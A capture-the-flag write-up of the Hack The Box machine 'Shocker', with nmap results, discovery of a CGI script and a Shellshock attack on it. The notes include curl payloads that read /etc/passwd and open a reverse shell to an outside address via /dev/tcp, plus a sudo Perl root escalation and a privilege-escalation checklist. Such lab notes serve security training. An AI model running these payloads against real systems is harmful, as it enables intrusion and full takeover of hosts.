[Hack The Box] Shocker

• OS: Ubuntu Linux
• Web technology: Apache[2.4.18]
• IP: 10.10.10.56
• Users: root shelly

Attack and enumeration notes

80
2222 (SSH)

Nmap scan

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web service enumeration

Directories:

/cgi-bin/

Files:

/cgi-bin/user.sh

Vulnerability research

#Shellshock in HTTP server
http://10.10.10.56/cgi-bin/user.sh

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://10.10.10.56/cgi-bin/user.sh

shelly:x:1000:1000:shelly,,,:/home/shelly:/bin/bash

Getting a reverse shell through Shellshock:

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c '(bash)0>/dev/tcp/10.10.16.5/443'" http://10.10.10.56/cgi-bin/user.sh
# exec >&0

Privilege escalation

sudo -l

GTFOBins Perl:

sudo perl -e 'exec "/bin/sh";'

• Check service
• Check network (everything running under 127.0.0.1)
• Check cronjob (maybe upload pspy)
• Check the versions of package of the services running under 127.0.0.1 (dmesg |grep -i ‘mysql’ –color=auto)
• getcap -r / 2>/dev/null if capabilities for python just ‘import os;os.system(“/bin/dash”)’ and RUN ROOT ~#